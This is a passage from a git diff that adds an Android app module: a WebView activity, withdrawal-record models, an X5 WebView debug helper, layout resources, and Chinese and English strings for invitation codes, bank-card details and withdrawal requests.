onGenericMotion(View view, MotionEvent motionEvent) { + return false; + } + }); + +// webView.setOnTouchListener(new View.OnTouchListener() { +// @Override +// public boolean onTouch(View view, MotionEvent motionEvent) { +// if (motionEvent.getAction() == MotionEvent.ACTION_DOWN) { +// webView.loadUrl("javascript:_IntervalResize(+\" + view + \",false)"); +// return true; +// } else { +// return false; +// } +// } +// }); + +// webView.onWindowFocusChanged(true); +// webView.setOnFocusChangeListener(new View.OnFocusChangeListener() { +// @Override +// public void onFocusChange(View view, boolean b) { +// LogUtils.d("B==" + b); +// view.invalidate(); +// } +// }); + if (url != null) { + webView.loadUrl(url); + } + } + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private boolean isNetError = false; + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); + isNetError = true; + + } + + public void onShowNetView() { + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); + isNetError = false; + } + + + @Override + public void onBackPressed() { + if (webView.canGoBack()) {//当webview有多级能返回的时候 + onShowNetView(); + webView.goBack(); + } else {//不能返回了 + WebViewActivity.this.finish(); + } + } + + @Override + protected void onDestroy() { + if (webView != null) { + //加载null内容 + // webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + // webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } +} diff --git a/base_no_all/src/main/java/com/web/base/WithDrawListInfo.java b/base_no_all/src/main/java/com/web/base/WithDrawListInfo.java new file mode 100644 index 0000000..b8bd76e --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/WithDrawListInfo.java @@ -0,0 +1,81 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +/** + * 提现记录 + */ +public class WithDrawListInfo implements Serializable { + + //邀请记录 + private int total; + private List list; + + + public int getTotal() { + return total; + } + + public void setTotal(int total) { + this.total = total; + } + + public List getList() { + return list; + } + + public void setList(List list) { + this.list = list; + } + + class WithDrawInfo{ + + private String amount; + private String balance; + private String bankName; + private String createTime; + private String name; + + public String getAmount() { + return amount; + } + + public void setAmount(String amount) { + this.amount = amount; + } + + public String getBalance() { + return balance; + } + + public void setBalance(String balance) { + this.balance = balance; + } + + public String getBankName() { + return bankName; + } + + public void setBankName(String bankName) { + this.bankName = bankName; + } + + public String getCreateTime() { + return createTime; + } + + public void setCreateTime(String createTime) { + this.createTime = createTime; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + } + +} diff --git a/base_no_all/src/main/java/com/web/base/X5ConfigHelper.java b/base_no_all/src/main/java/com/web/base/X5ConfigHelper.java new file mode 100644 index 0000000..8337b89 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/X5ConfigHelper.java @@ -0,0 +1,52 @@ +package com.web.base; + +import com.tencent.smtt.sdk.WebView; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * ********************** + * + * @Author bug machine + * 创建时间: 2025/10/27 14:45 + * 用途 + * ********************** + */ +public class X5ConfigHelper { + + public static void enableDebugMode(WebView webView) { + try { + // 获取X5内核的WebViewCore + Class webViewClass = webView.getClass(); + Field mWebViewCoreField = webViewClass.getDeclaredField("mWebViewCore"); + mWebViewCoreField.setAccessible(true); + Object webViewCore = mWebViewCoreField.get(webView); + + if (webViewCore != null) { + // 启用调试 + Class webViewCoreClass = webViewCore.getClass(); + Method setWebContentsDebuggingEnabled = + webViewCoreClass.getMethod("setWebContentsDebuggingEnabled", boolean.class); + setWebContentsDebuggingEnabled.invoke(webViewCore, true); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void enableNetworkLogging() { + // 设置X5内核的网络调试开关 + java.lang.System.setProperty("x5.log.network", "true"); + java.lang.System.setProperty("x5.debug", "true"); + + // 尝试启用X5的远程调试 + try { + Class x5CoreClass = Class.forName("com.tencent.smtt.sdk.QbSdk"); + Method setTbsDebugEnabled = x5CoreClass.getMethod("setTbsDebugEnabled", boolean.class); + setTbsDebugEnabled.invoke(null, true); + } catch (Exception e) { + e.printStackTrace(); + } + } +} diff --git a/base_no_all/src/main/res/drawable-anydpi/ic_action_back.xml b/base_no_all/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/base_no_all/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/base_no_all/src/main/res/drawable-hdpi/ic_action_back.png b/base_no_all/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/base_no_all/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/base_no_all/src/main/res/drawable-mdpi/ic_action_back.png b/base_no_all/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/base_no_all/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/base_no_all/src/main/res/drawable-v24/ic_launcher_foreground.xml b/base_no_all/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/base_no_all/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/drawable-xhdpi/ic_action_back.png b/base_no_all/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/base_no_all/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/base_no_all/src/main/res/drawable-xxhdpi/ic_action_back.png b/base_no_all/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/base_no_all/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/base_no_all/src/main/res/drawable/ic_launcher_background.xml b/base_no_all/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/base_no_all/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_no_all/src/main/res/drawable/input_bg.xml b/base_no_all/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/base_no_all/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/base_no_all/src/main/res/drawable/pass_word_bg.xml b/base_no_all/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/base_no_all/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/base_no_all/src/main/res/drawable/pass_word_bg1.xml b/base_no_all/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..83b8c14 --- /dev/null +++ b/base_no_all/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/drawable/pass_word_bg2.xml b/base_no_all/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/base_no_all/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/drawable/shape_btn_bg.xml b/base_no_all/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/base_no_all/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/drawable/shape_dialog_bg2.xml b/base_no_all/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/base_no_all/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/drawable/shape_dialog_bg3.xml b/base_no_all/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/base_no_all/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/drawable/shape_dialog_bg_new.xml b/base_no_all/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/base_no_all/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/drawable/shape_notify_typebg.xml b/base_no_all/src/main/res/drawable/shape_notify_typebg.xml new file mode 100644 index 0000000..3da849f --- /dev/null +++ b/base_no_all/src/main/res/drawable/shape_notify_typebg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/layout/activity_main.xml b/base_no_all/src/main/res/layout/activity_main.xml new file mode 100644 index 0000000..48eacca --- /dev/null +++ b/base_no_all/src/main/res/layout/activity_main.xml @@ -0,0 +1,351 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/layout/activity_main2.xml b/base_no_all/src/main/res/layout/activity_main2.xml new file mode 100644 index 0000000..f5e09aa --- /dev/null +++ b/base_no_all/src/main/res/layout/activity_main2.xml @@ -0,0 +1,423 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_no_all/src/main/res/layout/activity_main3.xml b/base_no_all/src/main/res/layout/activity_main3.xml new file mode 100644 index 0000000..6385b31 --- /dev/null +++ b/base_no_all/src/main/res/layout/activity_main3.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_no_all/src/main/res/layout/activity_notifydetails.xml b/base_no_all/src/main/res/layout/activity_notifydetails.xml new file mode 100644 index 0000000..bf79f59 --- /dev/null +++ b/base_no_all/src/main/res/layout/activity_notifydetails.xml @@ -0,0 +1,95 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_no_all/src/main/res/layout/activity_notifylist.xml b/base_no_all/src/main/res/layout/activity_notifylist.xml new file mode 100644 index 0000000..fe0904a --- /dev/null +++ b/base_no_all/src/main/res/layout/activity_notifylist.xml @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + diff --git a/base_no_all/src/main/res/layout/activity_start.xml b/base_no_all/src/main/res/layout/activity_start.xml new file mode 100644 index 0000000..ad49056 --- /dev/null +++ b/base_no_all/src/main/res/layout/activity_start.xml @@ -0,0 +1,294 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/layout/activity_webview.xml b/base_no_all/src/main/res/layout/activity_webview.xml new file mode 100644 index 0000000..b229360 --- /dev/null +++ b/base_no_all/src/main/res/layout/activity_webview.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_no_all/src/main/res/layout/dialog_action_bankinfo.xml b/base_no_all/src/main/res/layout/dialog_action_bankinfo.xml new file mode 100644 index 0000000..437c064 --- /dev/null +++ b/base_no_all/src/main/res/layout/dialog_action_bankinfo.xml @@ -0,0 +1,228 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/layout/dialog_action_confirm.xml b/base_no_all/src/main/res/layout/dialog_action_confirm.xml new file mode 100644 index 0000000..1c67709 --- /dev/null +++ b/base_no_all/src/main/res/layout/dialog_action_confirm.xml @@ -0,0 +1,71 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/layout/dialog_action_invite.xml b/base_no_all/src/main/res/layout/dialog_action_invite.xml new file mode 100644 index 0000000..9fd65ee --- /dev/null +++ b/base_no_all/src/main/res/layout/dialog_action_invite.xml @@ -0,0 +1,89 @@ + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/layout/dialog_action_invite_records.xml b/base_no_all/src/main/res/layout/dialog_action_invite_records.xml new file mode 100644 index 0000000..f770481 --- /dev/null +++ b/base_no_all/src/main/res/layout/dialog_action_invite_records.xml @@ -0,0 +1,105 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/layout/dialog_action_withdrawapply.xml b/base_no_all/src/main/res/layout/dialog_action_withdrawapply.xml new file mode 100644 index 0000000..9f0073e --- /dev/null +++ b/base_no_all/src/main/res/layout/dialog_action_withdrawapply.xml @@ -0,0 +1,121 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/layout/dialog_select_action.xml b/base_no_all/src/main/res/layout/dialog_select_action.xml new file mode 100644 index 0000000..846025f --- /dev/null +++ b/base_no_all/src/main/res/layout/dialog_select_action.xml @@ -0,0 +1,76 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/layout/item_invite_records.xml b/base_no_all/src/main/res/layout/item_invite_records.xml new file mode 100644 index 0000000..5e3a4c0 --- /dev/null +++ b/base_no_all/src/main/res/layout/item_invite_records.xml @@ -0,0 +1,22 @@ + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/layout/item_notify_list.xml b/base_no_all/src/main/res/layout/item_notify_list.xml new file mode 100644 index 0000000..11ebdab --- /dev/null +++ b/base_no_all/src/main/res/layout/item_notify_list.xml @@ -0,0 +1,163 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/layout/item_withdraw_records.xml b/base_no_all/src/main/res/layout/item_withdraw_records.xml new file mode 100644 index 0000000..a8e6205 --- /dev/null +++ b/base_no_all/src/main/res/layout/item_withdraw_records.xml @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/base_no_all/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/base_no_all/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/base_no_all/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/base_no_all/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/mipmap-hdpi/ic_empty.png b/base_no_all/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/base_no_all/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/base_no_all/src/main/res/mipmap-hdpi/ic_pull_down.png b/base_no_all/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/base_no_all/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/base_no_all/src/main/res/mipmap-xhdpi/ic_close.png b/base_no_all/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/base_no_all/src/main/res/mipmap-xhdpi/ic_email.png b/base_no_all/src/main/res/mipmap-xhdpi/ic_email.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xhdpi/ic_email.png differ diff --git a/base_no_all/src/main/res/mipmap-xhdpi/ic_email1.png b/base_no_all/src/main/res/mipmap-xhdpi/ic_email1.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xhdpi/ic_email1.png differ diff --git a/base_no_all/src/main/res/mipmap-xhdpi/ic_facebook.png b/base_no_all/src/main/res/mipmap-xhdpi/ic_facebook.png new file mode 100644 index 0000000..de378dc Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xhdpi/ic_facebook.png differ diff --git a/base_no_all/src/main/res/mipmap-xhdpi/ic_hometo.png b/base_no_all/src/main/res/mipmap-xhdpi/ic_hometo.png new file mode 100644 index 0000000..4e93043 Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xhdpi/ic_hometo.png differ diff --git a/base_no_all/src/main/res/mipmap-xhdpi/ic_link.png b/base_no_all/src/main/res/mipmap-xhdpi/ic_link.png new file mode 100644 index 0000000..2f98612 Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xhdpi/ic_link.png differ diff --git a/base_no_all/src/main/res/mipmap-xhdpi/ic_menu.png b/base_no_all/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/base_no_all/src/main/res/mipmap-xhdpi/ic_notify_email.png b/base_no_all/src/main/res/mipmap-xhdpi/ic_notify_email.png new file mode 100644 index 0000000..5a2df8e Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xhdpi/ic_notify_email.png differ diff --git a/base_no_all/src/main/res/mipmap-xhdpi/ic_notify_normal.png b/base_no_all/src/main/res/mipmap-xhdpi/ic_notify_normal.png new file mode 100644 index 0000000..f056d32 Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xhdpi/ic_notify_normal.png differ diff --git a/base_no_all/src/main/res/mipmap-xhdpi/ic_notify_shangla.png b/base_no_all/src/main/res/mipmap-xhdpi/ic_notify_shangla.png new file mode 100644 index 0000000..eb1d3e9 Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xhdpi/ic_notify_shangla.png differ diff --git a/base_no_all/src/main/res/mipmap-xhdpi/ic_notify_xiala.png b/base_no_all/src/main/res/mipmap-xhdpi/ic_notify_xiala.png new file mode 100644 index 0000000..7999f63 Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xhdpi/ic_notify_xiala.png differ diff --git a/base_no_all/src/main/res/mipmap-xhdpi/ic_notifylogo.png b/base_no_all/src/main/res/mipmap-xhdpi/ic_notifylogo.png new file mode 100644 index 0000000..b975e45 Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xhdpi/ic_notifylogo.png differ diff --git a/base_no_all/src/main/res/mipmap-xhdpi/ic_shousuo.png b/base_no_all/src/main/res/mipmap-xhdpi/ic_shousuo.png new file mode 100644 index 0000000..16b38be Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xhdpi/ic_shousuo.png differ diff --git a/base_no_all/src/main/res/mipmap-xhdpi/ic_tel.png b/base_no_all/src/main/res/mipmap-xhdpi/ic_tel.png new file mode 100644 index 0000000..df82270 Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xhdpi/ic_tel.png differ diff --git a/base_no_all/src/main/res/mipmap-xhdpi/ic_whatsapp.png b/base_no_all/src/main/res/mipmap-xhdpi/ic_whatsapp.png new file mode 100644 index 0000000..7ca41ed Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xhdpi/ic_whatsapp.png differ diff --git a/base_no_all/src/main/res/mipmap-xhdpi/ic_zhangkai.png b/base_no_all/src/main/res/mipmap-xhdpi/ic_zhangkai.png new file mode 100644 index 0000000..bdc84b3 Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xhdpi/ic_zhangkai.png differ diff --git a/base_no_all/src/main/res/mipmap-xxhdpi/app_logo.png b/base_no_all/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..1718e20 Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/base_no_all/src/main/res/mipmap-xxhdpi/look_img.png b/base_no_all/src/main/res/mipmap-xxhdpi/look_img.png new file mode 100644 index 0000000..bb76ba1 Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xxhdpi/look_img.png differ diff --git a/base_no_all/src/main/res/mipmap-xxhdpi/share_img.png b/base_no_all/src/main/res/mipmap-xxhdpi/share_img.png new file mode 100644 index 0000000..203b4b7 Binary files /dev/null and b/base_no_all/src/main/res/mipmap-xxhdpi/share_img.png differ diff --git a/base_no_all/src/main/res/values-en/strings.xml b/base_no_all/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..95006cd --- /dev/null +++ b/base_no_all/src/main/res/values-en/strings.xml @@ -0,0 +1,53 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + No additional data available for now + NOTIFICATIONS + \ No newline at end of file diff --git a/base_no_all/src/main/res/values-night/themes.xml b/base_no_all/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..4bf7105 --- /dev/null +++ b/base_no_all/src/main/res/values-night/themes.xml @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/values/colors.xml b/base_no_all/src/main/res/values/colors.xml new file mode 100644 index 0000000..bd299ee --- /dev/null +++ b/base_no_all/src/main/res/values/colors.xml @@ -0,0 +1,22 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + #ACDFEE + #BDDDB7 + #C3B5D0 + + \ No newline at end of file diff --git a/base_no_all/src/main/res/values/strings.xml b/base_no_all/src/main/res/values/strings.xml new file mode 100644 index 0000000..526aac7 --- /dev/null +++ b/base_no_all/src/main/res/values/strings.xml @@ -0,0 +1,76 @@ + + 请输入6位密码 + demm + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + 暂无更多数据 + 通知 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/values/themes.xml b/base_no_all/src/main/res/values/themes.xml new file mode 100644 index 0000000..e47899f --- /dev/null +++ b/base_no_all/src/main/res/values/themes.xml @@ -0,0 +1,88 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/xml/app_updater_paths.xml b/base_no_all/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/base_no_all/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/xml/network_security_config.xml b/base_no_all/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/base_no_all/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/base_no_all/src/main/res/xml/provider_paths.xml b/base_no_all/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/base_no_all/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_all/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/base_no_all/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/base_no_all/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/base_no_music/.gitignore b/base_no_music/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/base_no_music/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/base_no_music/build.gradle b/base_no_music/build.gradle new file mode 100644 index 0000000..186febd --- /dev/null +++ b/base_no_music/build.gradle @@ -0,0 +1,54 @@ +plugins { + id 'com.android.library' +} + +android { + compileSdkVersion 31 + defaultConfig { + minSdkVersion 24 + targetSdkVersion 31 + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } +} + +dependencies { + + api 'androidx.appcompat:appcompat:1.1.0' + api 'com.google.android.material:material:1.1.0' + api 'androidx.constraintlayout:constraintlayout:1.1.3' + testApi 'junit:junit:4.+' + androidTestApi 'androidx.test.ext:junit:1.1.1' + androidTestApi 'androidx.test.espresso:espresso-core:3.2.0' + api files('libs\\tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar') + + // okhttp相关库 + api 'com.squareup.okhttp3:okhttp:4.9.3' + + // JSON解析库 + api 'com.google.code.gson:gson:2.9.0' + api 'com.alibaba:fastjson:1.1.71.android' + api 'com.squareup.retrofit2:retrofit:2.5.0' + api 'com.squareup.retrofit2:converter-scalars:2.3.0' + api 'com.squareup.retrofit2:converter-gson:2.4.0' + api 'com.squareup.retrofit2:adapter-rxjava2:2.4.0' + api 'io.reactivex.rxjava2:rxjava:2.1.16' + api 'io.reactivex.rxjava2:rxandroid:2.0.2' + api 'com.squareup.okhttp3:logging-interceptor:3.10.0' + api 'com.github.Justson.AgentWeb:agentweb-core:v5.0.6-androidx' // (必选) + api 'com.github.Justson.AgentWeb:agentweb-filechooser:v5.0.6-androidx' // (可选) + + api 'com.github.Justson:Downloader:v5.0.4-androidx' + //implementation 'com.tencent.tbs:tbssdk:44286' + api("com.github.bumptech.glide:glide:4.13.1") + api 'com.github.jenly1314.AppUpdater:app-updater:1.1.3' + + // sdk 33 + api platform('com.google.firebase:firebase-bom:32.7.0') + // Firebase Cloud Messaging + api("com.google.firebase:firebase-messaging") +} \ No newline at end of file diff --git a/base_no_music/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar b/base_no_music/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar new file mode 100644 index 0000000..465ea1b Binary files /dev/null and 